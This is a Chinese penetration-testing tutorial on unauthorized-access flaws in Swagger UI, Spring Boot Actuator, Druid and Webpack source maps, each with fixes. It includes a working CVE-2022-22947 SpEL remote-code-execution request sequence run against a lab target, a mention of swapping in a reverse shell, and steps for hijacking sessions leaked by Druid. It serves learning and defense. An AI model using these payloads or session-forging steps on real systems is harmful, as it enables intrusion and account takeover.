当前位置: 首页 > news >正文

潍坊中脉网站建设公司自己创建个人免费网站

潍坊中脉网站建设公司,自己创建个人免费网站,计算机网络设计,wordpress图文插件文章目录 前言Swagger未授权访问RESTful API 设计风格swagger-ui 未授权访问swagger 接口批量探测 Springboot Actuator未授权访问数据利用未授权访问防御手段漏洞自动化检测工具 CVE-2022-22947 RCE漏洞原理分析与复现漏洞自动化利用工具 其他常见未授权访问Druid未授权访问漏… 文章目录 前言Swagger未授权访问RESTful API 设计风格swagger-ui 未授权访问swagger 接口批量探测 Springboot Actuator未授权访问数据利用未授权访问防御手段漏洞自动化检测工具 CVE-2022-22947 RCE漏洞原理分析与复现漏洞自动化利用工具 其他常见未授权访问Druid未授权访问漏洞Webpack 源代码泄露 总结 前言 在对 Java 站点进行渗透测试的过程中经常会遇见各类未授权访问漏洞本文来总结学习下常见的几类未授权访问漏洞的检测和利用方法。 SpringBoot 站点的简单识别方法 1 通过 web 应用程序网页标签的图标favicon.ico如果 web 应用开发者没有修改 springboot web 应用的默认图标那么进入应用首页后可以看到如下默认的绿色小图标 2通过 springboot 框架默认报错页面如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面那么当 web 应用程序出现 4xx、5xx 错误时会报错如下此处仅以 404 报错页面为例 Swagger未授权访问 Swagger 是一个用于生成、描述和调用 RESTful API 接口的 Web 服务。通俗的来讲Swagger 就是将项目中所有想要暴露的接口展现在页面上并且可以进行接口调用和测试的服务。 在平时渗透测试的的时候经常会发现 Swagger uiswagger-ui 是将 api 接口进行可视化展示的工具接口泄露如下在这个页面中暴露了目标站点中所有的接口信息所以可以对这个接口进行漏洞测试看是否存在未授权访问、sql 注入、文件上传等漏洞。 Fofa搜索语法titleSwagger UI Google hack语法intext:Swagger UI intitle:Swagger UI site:yourarget.com修复 Swagger 未授权访问漏洞的方案 配置 Swagger 开启页面访问限制排查接口是否存在敏感信息泄露例如账号密码、SecretKey、OSS配置等若有则进行相应整改。 Swagger 未授权访问地址可能存在于以下默认路径 /api /api-docs /api-docs/swagger.json /api.html /api/api-docs /api/apidocs /api/doc /api/swagger /api/swagger-ui /api/swagger-ui.html /api/swagger-ui.html/ /api/swagger-ui.json /api/swagger.json /api/swagger/ /api/swagger/ui /api/swagger/ui/ /api/swaggerui /api/swaggerui/ /api/v1/ /api/v1/api-docs /api/v1/apidocs /api/v1/swagger /api/v1/swagger-ui /api/v1/swagger-ui.html /api/v1/swagger-ui.json /api/v1/swagger.json /api/v1/swagger/ /api/v2 /api/v2/api-docs /api/v2/apidocs /api/v2/swagger /api/v2/swagger-ui /api/v2/swagger-ui.html /api/v2/swagger-ui.json /api/v2/swagger.json /api/v2/swagger/ /api/v3 /apidocs /apidocs/swagger.json /doc.html /docs/ /druid/index.html /graphql /libs/swaggerui /libs/swaggerui/ /spring-security-oauth-resource/swagger-ui.html /spring-security-rest/api/swagger-ui.html /sw/swagger-ui.html /swagger /swagger-resources /swagger-resources/configuration/security /swagger-resources/configuration/security/ /swagger-resources/configuration/ui /swagger-resources/configuration/ui/ /swagger-ui /swagger-ui.html /swagger-ui.html#/api-memory-controller /swagger-ui.html/ /swagger-ui.json /swagger-ui/swagger.json /swagger.json /swagger.yml /swagger/ /swagger/index.html /swagger/static/index.html /swagger/swagger-ui.html /swagger/ui/ /Swagger/ui/index /swagger/ui/index /swagger/v1/swagger.json /swagger/v2/swagger.json /template/swagger-ui.html /user/swagger-ui.html /user/swagger-ui.html/ /v1.x/swagger-ui.html /v1/api-docs /v1/swagger.json /v2/api-docs /v3/api-docsRESTful API 设计风格 REST全名 Representational State Transfer (表现层状态转移)它是一种设计风格一种软件架构风格而不是标准只是提供了一组设计原则和约束条件。RESTful 只是转为形容词就像那么 RESTful API 就是满足 REST 风格的以此规范设计的 API。 RESTful API 介绍请参见《一杯茶的时间搞懂 RESTful API》、《一文搞懂RESTful API》。 举个例子提供一个订单信息 API早期程序员为了更方便传递信息全部使用了 POST 请求使用了定义了 method 表明调用方法 现在来看上述例子会觉得设计上很糟糕但是在当时大量的 API 是这样设计的。操作资源的动作全部在数据体里面重新定义了一遍URL 上不能体现出任何有价值的信息为缓存机制带来麻烦。对前端来说在组装请求的时候显得麻烦不说另外返回到数据的时候需要检查 HTTP 的状态是不是 200还需要检查 status 字段。那么使用 RESTful 的例子是什么样呢 上述例子体现的 RESTful API 的优点 使用路径参数构建 URL 和 HTTP 动词来区分我们需要对服务所做出的操作而不是使用 URL 上的接口名称例如 getProducts 等使用 HTTP 状态码而不是在 body 中自定义一个状态码字段URL 有层次的设计例如 /catetory/{category_id}/products 便于获取 path 参数在以后例如负载均衡和缓存的路由非常有好处。 RESTful 的本质是基于 HTTP 协议对资源的增删改查操作做出定义。 几个典型的 RESTful API 场景 swagger-ui 未授权访问 下面使用 Java 安全综合靶场搭建 Swagger 漏洞环境https://github.com/JoyChou93/java-sec-code直接下载源码后在虚拟机基于 Docker 快速搭建 1Start docker: docker-compose pull docker-compose up2Stop docker: docker-compose down3登录地址与密码 http://localhost:8080/loginadmin/admin123实际上 java-sec-code 靶场并不存在 Swagger-ui 未授权访问漏洞需要用户登录以后才能访问到 swagger-ui此处我们假设无需登录即可访问 路由 swagger-ui.html#/ 列举了所有的 api 接口以 login 接口为例 点击 Try it out -- Execute 可以调用接口并查看服务器返回数据 Swagger-ui 提供的 Restful API 接口也会同步提供相应的发起模拟请求时可以填入具体参数值后再发送请求比如 SSRF 漏洞示例接口 http://ip:8080/ssrf/urlConnection/vuln?urlXXX swagger 接口批量探测 通过访问 api-docs 或者 swagger.json 可以直接获取 Json 格式的全部接口文档 具体地址可在 swagger-ui 页面上找到 在目标系统存在大量 API 接口的情况下逐一进行手工测试的话会消耗大量精力可以使用一些现成的自动化工具来快速完成此项工作。 0x01 Postman API工具 第一种方案是借助 Postman 工具或者 Apifox 工具https://apifox.com/利用思路 将 Swagger ui 中所有的接口导入到 Postman在 Postman 设置代理将流量转发给 Burpsuite方便观察发包情况对导入的所有 api 自动运行测试让 Postman 自动对每个 api 进行请求Burpsuite 可挂上 Xray进行自动化漏洞检测 具体演示请参见《Swagger ui接口自动化批量漏洞测试》、《Actuator内存泄露及利用Swagger未授权自动化测试实现》。 Postman 导入数据总是失败此处用 Apifox 应用导入目标 Swagger API 接口 发送测试请求下面是单独一个接口实际上可以批量发送请求 接下来设置网络代理将流量转发到 Burpsuite BurpSuite 联动 Xray 进行漏洞扫描就不演示了参见 Xray 官方文档即可https://docs.xray.cool/。 0x02 Github开源工具swagger-hack 项目地址https://github.com/jayus0821/swagger-hack python .\swagger-hack2.0.py -u https://XXX.XXX.XXX.200:444/swagger/v1/swagger.json会自动构造参数并发送请求包同时记录返回数据到本地统计表格 【More】 swagger-ui 还存在过 XSS 漏洞详情请参见《Hacking Swagger-UI - from XSS to account takeovers》、《渗透技巧基于Swagger-UI的XSS》。 Springboot Actuator Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下如果没有做好相关权限控制非法用户可通过访问默认的执行器端点endpoints来获取应用系统中的监控信息从而导致信息泄露甚至服务器被接管的事件发生。 【影响版本】 Spring Boot 1.5 默认未授权访问所有端点Spring Boot 1.5 默认只允许访问 /health 和 /info 端点但是此安全性通常被应用程序开发人员禁用。 Actuator 提供的执行器端点分为两类原生端点和用户自定义扩展端点原生端点主要有 需要注意的是 Spring Boot 1.x 版本的 Actuator 端点在根 URL 下注册比如 java-sec-code 靶场环境Spring Boot 2.x 版本的 Actuator 端点移动到 /actuator/ 路径下比如下文将用到的 Vulhub 靶场的 CVE-2022-22947 环境有些程序员会自定义 spring 的根路径比如 /manage、/management 、项目 App 相关名称等Spring Boot Actuator 默认的内置路由名字如 /env 有时候也会被程序员修改比如修改成 /appenv Actuator-api 的官方文档https://docs.spring.io/spring-boot/docs/current/actuator-api/htmlsingle/官方文档对每个端点的功能进行了描述。 /actuator /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/jolokia /actuator/hystrix.stream /actuator /auditevents /autoconfig /beans /caches /conditions /configprops /docs /dump /env /flyway /health /heapdump /httptrace /info /intergrationgraph /jolokia /logfile /loggers /liquibase /metrics /mappings /prometheus /refresh /scheduledtasks /sessions /shutdown /trace /threaddump未授权访问数据利用 对于寻找漏洞比较重要的接口和其可能的利用方式可总结如下 接口利用方式/env、/actuator/envGET 请求 /env 可能会直接泄露环境变量、内网地址、配置中的用户名、mysql 安装路径、数据库密码可能带*、关键密钥等敏感数据/trace、/actuator/trace/trace 路径包含一些 http 请求包访问跟踪信息有可能在其中发现内网应用系统的一些请求信息详情、以及有效用户或管理员的 authorizationtoken、JWT、cookie等字段/heapdump、/actuator/heapdump可尝试访问网站的 /actuator/heapdump 接口下载返回的 GZip 压缩 堆转储文件可使用 Eclipse MemoryAnalyzer 加载通过站点泄露的内存信息有机会查看到后台账号信息和数据库账号等/mappings、/actuator/mappings由于 mappings 记录了全部的 Url 路径可以利用该端点寻找未授权接口/health、/actuator/healthGit 项目地址的泄露一般在 /health 路径可探测到站点 git 项目地址并查看源码/refresh、/actuator/refreshPOST 请求 /env 接口设置属性后可同时配合 POST 请求 /refresh 接口刷新 /env 属性变量来触发相关 RCE 漏洞/restart、/actuator/restart暴露出此接口的情况较少可以配合 POST请求 /env 接口设置属性后再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞/jolokia、/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。 下面使用 Vulhub 靶场的 CVE-2022-22947 环境存在 actuator 未授权访问 0x01 /actuator/heapdump 先来看下 /actuator/heapdump 接口访问后可以下载到一个 hprof 格式的堆转储文件 heapdump heapdump 文件的敏感数据查看工具 JDumpSpiderhttps://github.com/whwlsfb/JDumpSpiderEclipse MemoryAnalyzerhttps://eclipse.dev/mat/downloads.php 第一款工具 JDumpSpider 食用方法很简单 java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump文件名会自动识别、提取敏感信息并进行分类可惜本案例没有什么敏感信息 但是 java-code-sec 靶场的 heapdump 文件请求http://ip:8080/heapdump) 则存在敏感数数据泄露 第二款工具 Eclipse MemoryAnalyzer 需要 Java 17 以上版本用法参见《Springboot信息泄露以及heapdump的利用》。 0x02 /env 路径敏感信息 上述靶场环境不存在敏感数据以下借用网上案例/env 路径泄露多个敏感账户密码 0x03 /trace 路径泄露认证凭据 0x04 /health 路径泄露 Git 项目地址 0x05 /mappings 路径泄露所有 API 【More】SpringBoot Actuator 未授权访问漏洞导致的危害不仅仅是信息泄露结合其他相关组件漏洞可以实现 RCE 的效果可进一步参见 https://github.com/LandGrey/SpringBootVulExploit奇安信攻防社区-Springboot攻击面初探一Spring Boot Actuator 未授权的测试与利用思路。 相应的靶场环境与复现方式位于 SpringBootVulExploit这里头实际上涉及多个 CVE 漏洞此处暂不展开分析。 未授权访问防御手段 作为一名安全dog不能只挖不修。 【方案一】 在项目的 pom.xml 文件下引入 spring-boot-starter-security 依赖 dependencygroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-security/artifactId /dependency然后在 application.properties 中开启 security 功能配置访问账号密码重启应用即可弹出认证界面 management.security.enabledtrue security.user.nameadmin security.user.passwordadmin【方案二】 可以在 application.properties 配置文件修改配置开启业务需求上必须的端口建议全部禁用通过配置 management.endpoint.端点名称.enabled 为 true/false 来开启/禁用端口。 management.endpoints.enabled false //直接禁用所有端口 management.endpoints.metrics.enabled true //开启metrics端点# 通过配置management.endpoint.web.exposure.includexxx 来暴露某个web端点 # 通过配置management.endpoint.web.exposure.excludexxx 来隐藏某个web端点 # 比如暴露所有端点不安全 management.endpoints.web.exposure.include* # 隐藏(不暴露)端点info management.endpoints.web.exposure.excludeinfo # 隐藏(不暴露)端点env beans management.endpoints.web.exposure.excludeenv,beans漏洞自动化检测工具 SpringBoot 框架漏洞探测工具https://github.com/0x727/SpringBootExploit 一款基于 YAML 语法模板的定制化快速漏洞扫描器https://github.com/projectdiscovery/nuclei 一款快速、稳定的高性能漏洞扫描器 afroghttps://github.com/zan8in/afrog 以上工具检查的都是 Vulhub 靶场的 CVE-2022-22947 环境最后顺便检测下 java-sec-code 靶场可以发现该靶场环境在未登录的情况下 afrog 和 nuclei 均是扫描不出任何问题的因为 java-sec-code 靶场本质上是不存在 Spingboot Actuator 未授权访问漏洞的用户需要登录后才能访问到相应端点的路径漏洞扫描工具自然也就扫描不出来漏洞 但是 nuclei 提供了 -H 参数可以指定在所有 http 请求中包含的自定义 header、cookie以 header:value 的格式指定cli文件我们添加有效的 Cookie (通过抓取合法数据包提取后对站点进行扫描查看结果如下通过 -s high,critical 参数过滤出高危、致命问题 CVE-2022-22947 RCE Spring Cloud Gateway 是 Spring 中的一个 API 网关旨在提供一种简单而有效的方法来路由到 API 并为其提供横切关注点例如安全性、监控/指标和弹性英文直译可参见官方介绍文档。客户端发起请求给网关网关处理映射找到一个匹配的路由然后发送该给网关的 Web 处理器处理器会通过一条特定的Filter链来处理请求最后会发出代理请求Filter 不仅仅做出预过滤代理请求发出后也会进行过滤。 Spring Cloud Gateway 在其 3.1.0 及 3.0.6 版本包含以前存在一处 SpEL 表达式注入漏洞当 Gateway Actuator 端点启用、暴露且不安全时使用 Spring Cloud Gateway 的应用程序很容易受到代码注入攻击。远程攻击者可能会发出恶意制作的请求从而允许在远程主机上进行任意远程执行。 受影响的 Spring Cloud Gateway 版本当前官网版本已达 v4.0.9 3.1.03.0.0 to 3.0.6Older, unsupported versions are also affected漏洞披露与分析文章链接https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/。 漏洞原理分析与复现 从 Spring官方的修复代码 可以直观看出这个 SpEL 表达式注入的位置 修复方法是使用安全的上下文 SimpleEvaluationContext 替换了不安全的 StandardEvaluationContextSpEL 表达式注入漏洞的相关知识可以参见我的另一篇文章《Java代码审计之SpEL表达式注入漏洞分析》 至于入参传递到漏洞触发点的过程请参见《Spring Cloud GateWay 远程代码执行漏洞(CVE-2022-22947) 》此处不展开。 直接使用 Vulhub 靶场环境和 指导文档 快速进行漏洞复现前面已经提到了 Vulhub 靶场的 CVE-2022-22947 环境存在 actuator 未授权访问且启用了 Actuator Gateway 从官方文档 https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api 可以看到如果配置了暴露 actuator 端点允许 jmx 或者 Web 访问则可以通过 /gateway 接口与网关进行交互并创建新的自定义路由。 利用这个漏洞需要发送两个 HTTP 数据包。 首先发送如下数据包即可添加一个包含恶意 SpEL 表达式的路由 POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329{id: hacktest,filters: [{name: AddResponseHeader,args: {name: Result,value: #{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\id\}).getInputStream()))}}}],uri: http://example.com }然后发送如下数据包应用刚添加的路由这个数据包将触发 SpEL 表达式的执行 POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329{id: hacktest,filters: [{name: AddResponseHeader,args: {name: Result,value: #{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\id\}).getInputStream()))}}}],uri: http://example.com }最后发送如下数据包即可查看执行结果 GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0上面的演示只是为了简单起见也可以将恶意路由的 SpEL 表达式替换为 basse64 的反弹 shell 命令。 【漏洞修复方案】 除了升级 Spring cloud Gateway 到最新版本以外也可以禁用 actuator gateway。通过前面的漏洞利用过程可以看到首先需要通过 /actuator/gateway/routes/{id}API 创建一条路由。因此将此 API 禁止也可实现漏洞的修复。根据 Actuator 的 API 文档可知启用 actuator gateway 需要设置以下两个配置的值 management.endpoint.gateway.enabledtrue # default value management.endpoints.web.exposure.includegateway因此只要这两个选项不同时满足就不会启用 actuator gateway。 漏洞自动化利用工具 沿用前文提到的 SpringBoot 框架漏洞探测工具https://github.com/0x727/SpringBootExploit 此漏洞扫描和利用也可以使用 Goby 社区版https://github.com/gobysec/GobyGoby是一款基于网络空间测绘技术的新一代网络安全工具它通过给目标网络建立完整的资产知识库进行网络安全事件应急与漏洞应急官方文档https://gobysec.net/faq。 点击扫描出来的 CVE-2022-22947 进去快速验证漏洞 Goby 跟前面的 nuclei、afrog 的共同特点是基于内置的漏洞 poc 扫描模板库且都支持使用者自定义新增的 poc 规则。 优势是 Goby 提供了较为丰富的图形化界面、支持漏洞快速验证功能以及支持丰富的扩展插件。 缺点也很明显专业版收费很贵 其他常见未授权访问 网上总结的常见的渗透测试常见的未授权访问漏洞《二十八种未授权访问漏洞合集》下文仅挑部分展开描述。 Druid未授权访问漏洞 Druid 是阿里巴巴数据库事业部出品为监控而生的数据库连接池官方项目地址https://github.com/alibaba/druid。Druid 提供的监控功能包括监控 SQL 的执行时间、监控 Web URI 的请求、以及 Session 监控等。 当开发者配置不当时就可能造成未授权访问漏洞即项目中引入 druid-spring-boot-starter且 spring.datasource.druid.stat-view-servlet.enabled 配置为 true 时可以直接访问 Druid Monitor 监控平台可能会造成企业机密信息被攻击者获取。 dependencygroupIdcom.alibaba/groupIdartifactIddruid-spring-boot-starter/artifactIdversion1.1.16/version /dependencyspring.datasource.druid.stat-view-servlet.enabledtrue漏洞默认路径 http://www.xxxx.com/druid/index.htmlFofa 资产搜索语法 titleDruid Stat IndexGoogle 搜索语法 inurl:druid/index.html intitle:Druid Stat Index【漏洞利用】 Druid 未授权访问在没有进一步利用的情况下仅仅是一个低风险的信息泄露漏洞但是攻击者也可以进一步利用利用该漏洞来提高危害。 首先可以借助未授权访问收集一下服务器的 API 接口相关信息 /druid/weburi.html该接口泄露了网站功能模块的 API 接口可以进一步探测这些 API 接口是否存在未授权访问、SQL 注入、XSS 等漏洞。 与此同时应当关注可能泄露用户 session 的路径 /druid/websession.html此处泄露的主要是登录用户的 session不管是登陆成功的、没登陆成功的还是失效的都会储存在这里。 【漏洞利用思路】当 /druid/websession.html 页面存在数据时我们可利用该页面的 session 伪造用户身份访问 /druid/weburi.html 泄露的 API 接口路径来进一步访问敏感业务接口甚至登录系统后台。请注意应当点击最后访问时间然后复制一条离现在时间最为接近的 session 进行伪造登录尽量避免因 session 已失效而导致利用失败。 拿到 session 后登录后台的方法可以参见《Kali Linux-BeEF浏览器渗透框架》中的 XSS 利用章节网上成功借助 Druid 未授权访问窃取 session 并登录后台的案例《Druid未授权访问实战利用》。 【修复方案】 方案一直接禁止页面访问SpringBoot 项目修改配置文件 application.properties或者不配置此配置默认为 false。 spring.datasource.druid.stat-view-servlet.enabledfalse方案二增加账号密码登录账号密码可自定义配置与数据库无关。 spring.datasource.druid.stat-view-servlet.enabledtrue spring.datasource.druid.stat-view-servlet.login-usernameroot spring.datasource.druid.stat-view-servlet.login-password123Webpack 源代码泄露 Webpack 是一个强大的前端资源模块打包工具可以将多个 JS、CSS、JSON等 文件打包成一个或多个文件使代码更加模块化便于编程和使用。目前前端部署的代码一般都是经过 webpack 压缩的压缩的目的一般如下移除无用代码、混淆代码中变量名称、函数名称等以及对结构进行扁平化处理。Vue 使用 webpack 静态资源打包器的时候如果未进行正确配置会产生一个 js.map 文件而这个 js.map 可以通过工具来反编译还原 Vue 源代码导致前端源代码泄露。 0x01 SourceMap 的作用 SourceMap 在其中扮演了一个十分重要的角色用来作为源代码和编译代码之间的映射方便开发定位问题。一般在压缩 js 的过程中会生成相应的 sourcemap 文件并且在压缩的 js 文件末尾追加 sourcemap 文件的链接 如_//# sourceMappingURLxxxx.js.map_。这样浏览器在加载这个压缩过的js 时就知道还有一个相应的 sourcemap 文件也会一起加载下来运行的过程中如果 js 报错也会给出相应源代码的行号与列号而非压缩文件的。总而言之Sourcemap 初衷是方便开发排错它不应该用在生产环境如果用在生产环境攻击者就可以通过 sourcemap 文件中的映射还原出前端完整代码。 0x02 Webpack 源码泄露危害 Webpack 前端源码泄露漏洞可能导致以下危害 敏感信息泄露攻击者可以获取到前端源码从而获取到敏感信息如 API、管理员邮箱、内部功能等代码审计攻击者可以对获取到的源码进行代码审计查找潜在的安全漏洞和恶意代码。 0x03 Webpack 站点的识别 前端打包工具 Webpack 所生成的是一个纯 JS 的网站即源码之中并无多余的 HTML 内容所有的前端内容都依赖于浏览器对 JS 文件的解析并且此类网站之中通常存在一行 noscript 提示告诉没有启用JS的访问者启用 JS 功能才能正常浏览网站。 以雷神众测为例它便是一个标准的 Webpack 站点但是不存在前端源代码信息泄露 而在 webpack 项目源码泄漏的情况下则可以在浏览器控制台中的 Sources-Page-webpack:// 中查看到前端源代码 0x04 Webpack 源码泄露利用 举个例子 直接查看网站的 js 文件可以在末尾处看到均有 js.map 文件名 手动下载 js.map 文件 安装 npmWindows 下载并安装 https://nodejs.org/en/download 即可使用 npm 安装 reverse-sourcemap npm install --global reverse-sourcemap # 检查是否安装成功 reverse-sourcemap -h接下来即可使用 reverse-sourcemap 进行 js.map 文件还原操作 reverse-sourcemap --output-dir ./ app-3f69d31c7deabb2b760a.js.map随后拖入 VSCode 查看源代码即可 0x05 Webpack 自动探测工具 【检测工具 1HaE】 BurpSuite 开源插件 HaE https://github.com/gh0stkey/HaE支持检测 SourceMap 文件 HaE 是一个基于 BurpSuite Java 插件 API 开发的辅助型框架式插件旨在实现对 HTTP 消息的高亮标记和信息提取。该插件通过自定义正则表达式匹配响应报文或请求报文并对匹配成功的报文进行标记和提取。 【检测工具 2Packer Fuzzer】 Packer Fuzzer 工具https://github.com/rtcatc/Packer-Fuzzer。Packer Fuzzer 工具目前支持自动化提取 JS 资源文件并利用现成规则和暴力提取模式提取其中的 API 及对应参数在提取完成之后支持对未授权访问、敏感信息泄露、CORS、SQL 注入、水平越权、弱口令、任意文件上传七大漏洞进行模糊高效的快速检测。在扫描结束之后本工具还支持自动生成扫描报告您可以选择便于分析的HTML版本以及较为正规的 doc、pdf、txt 版本。 但注意此漏洞利用工具请注意需要单独执行 pip install python-docx0.8.11 -i https://pypi.tuna.tsinghua.edu.cn/simple 后才能正常运行。 执行扫描并查看结果 # SSL连接安全选项当为空时默认关闭状态在此状态下将会阻止一切不安全的连接。 # 若您希望忽略SSL安全状态您可使用1命令开启将会忽略一切证书错误例如-f 1 python PackerFuzzer.py -u https://XXX.XXX.XXX.234/ -f 10x06 Webpack 源码泄露防御 如何防范 Webpack 前端源码泄露漏洞 在 Webpack 的配置文件config/index.js中配置 productionSourceMap:false即可关闭 .map 文件的生成这样可以有效防止源码泄露压缩和混淆代码Webpack 提供了 UglifyJsPlugin 插件和 TerserPlugin 插件来压缩和混淆代码可以有效地提高代码的安全性使用这些插件可以将代码压缩、混淆使攻击者难以阅读和修改 最后附上奇安信安全社区几个关于 Webpack 信息泄露的实战利用案例《奇安信攻防社区-浅谈Webpack导致的一些问题》。 总结 本文总结学习了 Swagger-UI、SpringBoot Actuator、Druid、Webpack 组件的未授权访问漏洞基本原理与漏洞探测方法在介绍了几款自动化扫描工具的同时也简要分析了 CVE-2022-22947 Spring Cloud Gateway 系统 RCE 漏洞。 SpringBoot 安全漏洞总结与利用工具 SpringBootVulExploit/README.md奇安信攻防社区-Springboot攻击面初探SpringBoot漏洞利用工具的介绍与实例演示。
http://www.pierceye.com/news/207323/

相关文章:

  • 网站设计制作新报价图片查域名网站
  • 网站建设就找奇思网络网站信息备案管理系统
  • wordpress 网站生成app互联网装修公司叫什么
  • 揭阳做网站哪个好黑群晖架设wordpress
  • 网站建设与维护经营范围pc官方网站
  • 龙岗网站建设多少钱设计工作室经营范围
  • 今天建设银行网站无法登录做网站菠菜什么意思
  • 网站伪静态如何配置文件设置网站首页
  • 太原网站建设模板站将电脑做的网站放到外网
  • 网站建设怎么用长尾做标题北京手机站建站
  • 什么是网站功能需求wap网页文字游戏
  • 网站开发者模式怎么保存网站建设3d插件
  • 域名备案网站要不要关景县有专业做网站人员吗
  • 门户网站建设方案ppt公司网站建设全包
  • 网站建站的流程网站建设服务那家好
  • 湖南平台网站建设制作企业网站关联优化
  • 优秀网站设计作品大连seo外包
  • 共享空间网站开发公司做网站 最好的开源cms
  • 免费图片素材网seo wordpress主题
  • ipad可以做网站推广吗wordpress主题中文
  • 自己做网站要会什么软件下载wordpress 小工具代码
  • 视频拍摄及制作培训网站优化有什么用
  • 沈阳网站排名公司网站开发专业怎么样
  • 电影院网站建设方案网络维护是什么职业
  • 网站建设需要的公司wordpress考试主题
  • 企业网站管理系统多站多语言版电子书推送网站怎么做
  • 海洋公司做网站推广安阳网站如何做优化
  • 南昌网站开发公司哪家公司好网站建设接单
  • 宁波网站制作哪家强调用wordpress的文章编辑器
  • 在线制作手机网站公司网站建设厂家